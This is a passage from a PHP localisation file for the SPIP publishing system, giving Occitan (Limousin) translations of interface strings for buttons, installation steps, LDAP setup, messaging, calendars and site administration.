'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriament un sit web',
'bouton_checkbox_signature_unique_email' => 'Nonmàs una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'Nonmàs una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion de queste article',
'bouton_effacer_index' => 'Esfaçar los index',
'bouton_effacer_tout' => 'Esfaçar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatjariá interna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjariá interna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tiera daus redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjariá',
'bouton_radio_envoi_annonces_adresse' => 'Mandar los anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tiera de las novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Pas aparéisser dins la tiera daus redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Pas mandar d’anoncis editoriaus',
'bouton_radio_pas_petition' => 'Brisa de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Assajar de reparar',
'bouton_test_proxy' => 'Assajar lo proxy',
'bouton_vider_cache' => 'Voidar l’escondedor',
'bouton_voir_message' => 'Veire queu messatge avans de lo validar',
// C
'cache_mode_compresse' => 'Los fichiers de l’escondedor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Los fichiers de l’escondedor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmestre dau sit pòt modificar questes parametres.',
'calendrier_synchro' => 'S’utilizatz un logiciau d’agenda compatible <b>iCal</b> (Apple iCal, Mozilla Calendar, Ximian Evolution, KOrganizer...), lo podetz sincronizar emb l’actualitat dau sit.',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'Vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donadas',
'entree_base_donnee_2' => '(Sovent, quela adreiça correspond a la de vòstre sit, daus uns còps correspond a la mençon "localhost", daus uns còps, se laissa voida completament.)',
'entree_biographie' => 'Biografia breva, en quauques mots.',
'entree_chemin_acces' => '<b>Entrar</b> lo chamin d’accès:',
'entree_cle_pgp' => 'Vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauques mots.)',
'entree_identifiants_connexion' => 'Vòstres identificants de connexion...',
'entree_informations_connexion_ldap' => 'Volhatz entrar dins queu formulari las informacions de connexion a vòstre annuari LDAP.
L’administrator dau sistema o de la ret vos deu poder fornir
quelas informacions.',
'entree_infos_perso' => 'Quau setz?',
'entree_interieur_rubrique' => 'Dedins la rubrica:',
'entree_liens_sites' => '<b>Liam ipertext</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspond daus uns còps a vòstre login d’accès a l’FTP; daus uns còps se laissa voide)',
'entree_login_ldap' => 'Login LDAP iniciau',
'entree_mot_passe' => 'Vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspond daus uns còps a vòstre mot de santa Clara per l’FTP; daus uns còps se laissa voide)',
'entree_nom_fichier' => 'Volhatz entrar lo nom dau fichier @texte_compresse@:',
'entree_nom_pseudo' => 'Vòstre nom o vòstre pseudonim',
'entree_nom_pseudo_1' => '(Vòstre nom o vòstre pseudonim)',
'entree_nom_site' => 'Lo nom de vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara noveu',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numero de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) de vòstre sit',
// I
'ical_info1' => 'Quela pagina mòstra daus metòdes diferents per restar en contacte emb la vida de queu sit.',
'ical_info2' => 'Per téner mai d’informacions subre quelas tecnicas, esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a dos chalendiers a la vòstra disposicion. Lo primier es un plan dau sit qu’anóncia tots los articles publicats. Lo segond conten los anoncis editoriaus en mai de vòstres darriers messatges privats: vos es reservat gràcias a una clau personala, que la podetz modificar en tot moment en renovant vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecharjament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Los articles publicats en queu sit se pòden afichar aisat, dins tots los sits vòstres, en far servir una linha javascript. ',
'ical_texte_prive' => 'Queu chalendier, d’usatge estrictament personau, vos informa de l’activitat editoriala privada de queu sit (òbras e rendetz-vos personaus, articles e brevas prepausats...).',
'ical_texte_public' => 'Queu chalendier vos permet de seguir l’activitat publica de queu sit (articles e brevas publicats).',
'ical_texte_rss' => 'Podetz sindicar las novetats de queste sit dins quin legidor de fichiers que siá en format XML/RSS (Rich Site Summary). Es tanben lo format que permet a SPIP de legir las novetats publicadas dins d’autres sits en utilizar un format d’eschamge compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrier',
'ical_titre_rss' => 'Fichiers «backend»',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_afficher_auteurs' => 'Afichar los autors',
'icone_afficher_visiteurs' => 'Afichar los vesitaires',
'icone_arret_discussion' => 'Quitar quela discussion',
'icone_calendrier' => 'Chalendier',
'icone_creer_auteur' => 'Crear un autor nuòu e l’associar a quel article',
'icone_creer_mot_cle' => 'Crear un mot clau nuòu e lo liar a quel article',
'icone_creer_rubrique_2' => 'Crear una rubrica nuòva',
'icone_envoyer_message' => 'Mandar queu messatge',
'icone_modifier_article' => 'Modificar quel article',
'icone_modifier_message' => 'Modificar queu messatge',
'icone_modifier_rubrique' => 'Modificar quela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir quela rubrica',
'icone_supprimer_signature' => 'Suprimir quela signatura',
'icone_valider_signature' => 'Validar quela signatura',
'image_administrer_rubrique' => 'Podetz administrar quela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podetz activar un <b>cookie de correspondéncia</b>; quò lai vos permetrá de passar aisat dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Quel administrator gerís las rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Quel administrator gerís <b>totas las rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit(<i>d’utilizar emb precaucion</i>)',
'info_administrateur_site_01' => 'Se setz administrator/tritz dau sit, volhatz',
'info_administrateur_site_02' => 'clicar queu liam',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podetz administrar quela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) dau sit public',
'info_afficher_visites' => 'Afichar las vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quand apondetz daus imatges coma estachaments jonchs a un article, SPIP pòt crear automaticament per vos de las vinhetas (miniaturas) daus imatges inserits. Quò lai permet per exemple de crear automaticament una galariá o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut:',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci de las novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Los articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles de quel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo text)',
'info_attente_validation' => 'Vòstres articles en espera de validacion',
'info_aujourdhui' => 'uei:',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Los autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion externa',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de vòstra basa de donadas es installada.',
'info_chapeau' => 'Chapeu',
'info_chapeau_2' => 'Chapeu:',
'info_chemin_acces_1' => 'Opcions: <b>chamin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Aura devetz configurar lo chamin d’accès vers las informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions:<b>chamin d’accès dins l’annuari',
'info_choix_base' => 'Tresesma estapa:',
'info_classement_1' => '<sup>ier</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Oblidetz pas vòstres còdes d’accès pròpris!',
'info_config_suivi' => 'Se quela adreiça correspond a una lista de corrier, podetz indicar çai jos l’adreiça ont los participants au sit se pòden inscriure. Quela adreiça pòt estre una URL (per exemple la pagina d’inscripcion a la lista per lo web), o una adreiça e-mail tenent un subjecte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Podetz recebre automaticament, per e-mail, los anoncis pertochant l’activitat editoriala de queu sit. Per quò faire, vos podetz abonar a la lista de corrier seguenta:',
'info_confirmer_passe' => 'Confirmar queu mot de santa Clara noveu:',
'info_connexion_base' => 'Segonda estapa: <b>Assai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP a abotit.</b><p> Podetz passar a l’estapa seguenta.', # MODIF
'info_connexion_mysql' => 'Primiera estapa:<b>Vòstra connexion SQL</b>',
'info_connexion_ok' => 'La connexion a abotit.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut daus articles',
'info_creation_paragraphe' => '(Per crear daus paragrafs, sufís que laissetz de las linhas voidas.)', # MODIF
'info_creation_rubrique' => 'Avans de poder escriure daus articles,<br /> devetz crear aumens una rubrica.<br />',
'info_creation_tables' => 'Quatresma estapa: <b>Creacion de las taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> una basa de donadas novela:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERENCIAMENT DE QUEU SIT:',
'info_derniere_etape' => 'Darriera estapa: <b>Quo es ’chabat!',
'info_derniers_articles_publies' => 'Vòstres darriers articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podetz activar o desactivar vòstra messatjariá personala subre queu sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Avans de poder escriure daus articles, vos chau crear aumens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail d’enviament (opcionau)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar los e-mails (a fauta d’aquò, s’utilizará l’adreiça destinatari coma adreiça d’enviament):',
'info_email_webmestre' => 'Adreiça e-mail dau responsable dau sit (opcionau)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Enviament d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar aura',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Podetz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Podetz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vers @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo segut de l’activitat editoriala dau sit, SPIP vos pòt fornir per e-mail, per exemple a una lista de corrier daus redactors, l’anonci de las demandas de publicacion e de las validacions d’articles.',
'info_fichiers_authent' => 'Fichiers d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Vòstre sit web òfre daus forums per los abonats; dins lo sit public los vesitaires son convidats a se registrar.',
'info_gauche_admin_effacer' => '<b>A quela pagina, nonmàs los responsables dau sit i pòden accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.', # MODIF
'info_gauche_admin_tech' => '<b>A quela pagina, nonmàs los responsables dau sit i pòden accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.', # MODIF
'info_gauche_admin_vider' => '<b>A quela pagina, nonmàs los responsables dau sit i pòden accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí tots los autors dau sit. La color de las icònas n’indica l’estatut (administrator: verd; redactor: jaune).',
'info_gauche_auteurs_exterieurs' => 'Los autors exteriors, sens accès au sit, son indicats emb una icòna blava; los autors esfaçats emb un bordilhier.', # MODIF
'info_gauche_messagerie' => 'La messatjariá vos permet d’eschamjar daus messatges entre redactors, de servar daus mementos (per vòstre usatge personau) o d’afichar daus anoncis sus la pagina d’acuelh de l’espaci privat (se setz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMERO',
'info_gauche_statistiques_referers' => 'Quela pagina presenta la lista daus <i>referidors</i>, quò vòu dire daus sits menant a vòstre quite sit, unicament pet ier e uei: quela lista s’actualiza chasca 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí los vesitaires registrats
dins l’espaci public dau sit (forums emb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas daus imatges',
'info_gerer_trad' => 'Gerir los liams de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'Quauques auberjadors desactivan l’enviament automatic
d’e-mails dempuei lors servidors. En queu cas, las foncionalitats seguentas
d’SPIP foncionarán pas.',
'info_hier' => 'ier:',
'info_historique_activer' => 'Activar lo seguiment de las revisions',
'info_historique_affiche' => 'Afichar quela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment de las revisions',
'info_historique_texte' => 'Le suivi des révisions permet de conserver un historique de toutes les modifications apportées au contenu d’un article, et d’afficher les différences entre les versions successives.',
'info_identification_publique' => 'Vòstra identitat publica...',
'info_image_process' => 'Volhatz seleccionar lo melhor metòde de fabricacion de las vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se brisa d’imatge apareis, laidonc lo servidor qu’auberja vòstre sit l’an pas configurat per utilizar de taus gatges. Se desiratz d’utilirar quelas foncions, contactatz lo responsable tecnic e demandatz las extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cinquesma estapa: <b>Informacions personalas</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors noveus',
'info_jeu_caractere' => 'Jòc de caracters dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar quilhs champs voides)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installada.',
'info_lien_hypertexte' => 'Liam ipertext:',
'info_liste_redacteurs_connectes' => 'Tiera daus redactors connectats',
'info_login_existant' => 'Queu login ja existís.',
'info_login_trop_court' => 'Login tròp cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la mesma rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Vòstres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjariá interna',
'info_mise_a_niveau_base' => 'Mesa a niveu de vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avetz installada una version
daus fichiers SPIP {anteriora} a la que i aviá
avans subre queste sit: riscatz de perdre vòstra basa de donadas
e vòstre sit foncionará pas mai.<br />{{Tornatz installar los
fichiers d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Mon sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cerchador integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga per los articles?',
'info_multi_cet_article' => 'Lenga de queste article:',
'info_multi_langues_choisies' => 'Volhatz seleccionar çai sos las lengas que son a posita daus redactors de vòstre sit.
Las lengas ja emplejadas dins vòstre sit (afichadas primieras) se pòden pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per las rubricas?',
'info_multi_secteurs' => '... nonmàs per las rubricas a la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom de vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De pas desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòt mandar, regularament, l’anonci de las darrieras novetats dau sit
(articles e brevas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Pas mandar la tiera de las novetats',
'info_non_modifiable' => 'se pòt pas modificar',
'info_non_suppression_mot_cle' => 'vòle pas suprimir queu mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nuòus',
'info_nouvel_article' => 'Article nuòu',
'info_nouvelle_traduction' => 'Revirada nuòva:',
'info_numero_article' => 'ARTICLE NUMERO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion daus vesitaires dau sit public',
'info_option_faire_suivre' => 'Far segre los messatges daus forums aus autors daus articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbida',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Los dos mots de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Vòstres mementos ancians ', # MODIF
'info_plus_cinq_car' => 'mai de 5 caracters',
'info_plus_cinq_car_2' => '(mai de 5 caracters)',
'info_plus_trois_car' => '(mai de 3 caracters)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Nonmàs los administrators pòden previsualizar lo sit',
'info_preview_comite' => 'Tots los redactors pòden previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion es dau tot desactivada',
'info_preview_texte' => 'Quo es possible de previsualizar lo sit coma s’avián publicat tots los articles e brevas (que tenen aumens l’estatut "prepausat"). La chau dobrir, quela possibilitat, aus administrators solament, a tots los redactors, o a pas degun?',
'info_principaux_correspondants' => 'Vòstres correspondents principaus',
'info_procedez_par_etape' => 'procedissetz estapa per estapa',
'info_procedure_maj_version' => 'Chau lançar la procedura d’actualizacion per adaptar
la basa de donadas a la version novela d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Vòstres articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’a las esqueletas de vòstre sit web se prevei lo registrament de vesitaires sens accès a l’espaci privat, volhatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que daus redactors noveus s’inscrivan
a partir dau sit public? Se o acceptatz, los vesitaires se poirán inscriure
gràcias a un formulari automatizat e donc accedirán a l’espaci privat per
prepausar daus articles.<blockquote><i> Durant la fasa d’inscripcion, los utilizaires receben un e-mail automatic
que lor baila un còde d’accès au sit privat.
Quauques auberjadors autorizan pas l’enviament d’e-mails dempuei lors servidors: en queu cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cerchador integrat a SPIP? (lo desactivar abriva lo foncionament dau sistema.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Volhatz tornar charjar quela pagina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats per "@cherche_auteur@"; volhatz afinar la cercha.',
'info_recherche_auteur_ok' => 'Mai d’un redactor trobat per "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Brisa de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Volhatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedís a l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Vòstres articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Quel article remanda a la pagina:',
'info_reserve_admin' => 'Nonmàs los administrators pòden modificar quela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cercha:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadas (dins lo text)',
'info_sans_titre' => 'Sens títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sos lo chamin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Los sits referenciats liats a queu mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo text)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut de quel autor:', # MODIF
'info_statut_efface' => 'Esfaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit daus utilizaires importats',
'info_statut_utilisateurs_2' => 'Chausissetz l’estatut d’atribuir a las personas presentas dins l’annuari LDAP quand se connectan per lo primier còp. Poiretz puei modificar quel estatut per chasque autor un cas per un.',
'info_suivi_activite' => 'Segut de l’activitat editoriala',
'info_surtitre' => 'Subretítol:',
'info_taille_maximale_vignette' => 'Talha maximala de las vinhetas congreadas per lo sistema:',
'info_terminer_installation' => 'Aura podetz ’chabar la procedura d’installacion estandard.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Text explicatiu',
'info_texte_long' => '(lo text es long: apareis donc en talhons distints que se tornarán empejar un còp validats.)',
'info_texte_message' => 'Text de vòstre messatge:', # MODIF
'info_texte_message_02' => 'Text dau messatge',
'info_titre' => 'Títol:',
'info_total' => 'totau: ',
'info_tous_articles_en_redaction' => 'Tots los articles en cors de redaccion',
'info_tous_articles_presents' => 'Tots los articles publicats dins quela rubrica',
'info_tous_les' => 'tots los:',
'info_tous_redacteurs' => 'Anoncis per tots los redactors ',
'info_tout_site' => 'Tot lo sit ',
'info_tout_site2' => 'An pas revirat l’article dins quela lenga.',
'info_tout_site3' => 'An revirat l’article dins quela lenga, mas an portat puei de las modificacions a l’article de referéncia. Chau actualizar la revirada.',
'info_tout_site4' => 'An revirat l’article dins quela lenga, e la revirada es actualizada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> sonque los articles originaus s’afichan.
Las reviradas s’assòcian a l’originau,
una color indica lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu subre los articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DAU SIT:',
'info_urlref' => 'Adreiça (URL) de referéncia:',
'info_utilisation_spip' => 'Aura podetz començar d’utilizar lo sistema de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires dau sit public',
'install_echec_annonce' => 'L’installacion frolhará, o abotirá a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP fonciona pas emb:',
'install_extension_php_obligatoire' => 'SPIP exigís l’extension php:',
'install_select_langue' => 'Seleccionatz una lenga puei clicatz lo boton « seguent » per amodar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar las inscripcions',
'item_activer_messages_avertissement' => 'Activar los messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo chalendier',
'item_autoriser_documents_joints' => 'Autorizar que se jonha daus documents aus articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documents dins las rubricas',
'item_choix_administrateurs' => 'los administrators',
'item_choix_generation_miniature' => 'Congrear automaticament las miniaturas daus imatges.',
'item_choix_non_generation_miniature' => 'Pas congrear de miniaturas daus imatges.',
'item_choix_redacteurs' => 'los redactors',
'item_choix_visiteurs' => 'los vesitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear daus fichiers .htpasswd',
'item_limiter_recherche' => 'Limitar la cercha a las informacions contengudas dins vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'aus articles',
'item_mots_cles_association_rubriques' => 'a las rubricas',
'item_mots_cles_association_sites' => 'aus sits referenciats o sindicats',
'item_non' => 'Non ',
'item_non_accepter_inscriptions' => 'Pas acceptar las inscripcions',
'item_non_activer_messages_avertissement' => 'Brisa de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De pas afichar dins lo chalendier',
'item_non_autoriser_documents_joints' => 'Pas autorizar los documents dins los articles',
'item_non_autoriser_documents_joints_rubriques' => 'Pas autorizar los documents dins las rubricas',
'item_non_creer_fichiers_authent' => 'Pas crear quilhs fichiers',
'item_non_gerer_statistiques' => 'Pas gerir las estadisticas',
'item_non_limiter_recherche' => 'Eslarjar la cercha au contengut daus sits referenciats',
'item_non_publier_articles' => 'Pas publicar los articles avans la data de publicacion previsda.',
'item_non_utiliser_moteur_recherche' => 'Pas utilizar lo motor',
'item_nouvel_auteur' => 'Autor nuòu',
'item_nouvelle_rubrique' => 'Rubrica nuòva',
'item_oui' => 'Òc ',
'item_publier_articles' => 'Publicar los articles, quina que siá lor data de publicacion',
'item_reponse_article' => 'Responsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cerchador',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre queu destinatari',
'lien_ajouter_auteur' => 'Apondre quel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Tirar l’autor',
'lien_retrait_particpant' => 'Tirar queu participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir quela rubrica',
'lien_tout_deplier' => 'Desplejar tot',
'lien_tout_replier' => 'Tornar plejar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO DE QUEU SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DE LAS RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SUBREVÒU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausida de vòstra basa',
'module_fichier_langue' => 'Fichier de lenga',
'module_raccourci' => 'Escorchiera',
'module_texte_affiche' => 'Text afichat',
'module_texte_explicatif' => 'Podetz inserir las escorchieras seguentas dins las esqueletas de vòstre sit public. Se revirarán automaticament dins las diferentas lengas per las qualas existís un fichier de lenga.',
'module_texte_traduction' => 'Lo fichier de lenga «@module@» es disponible en:',
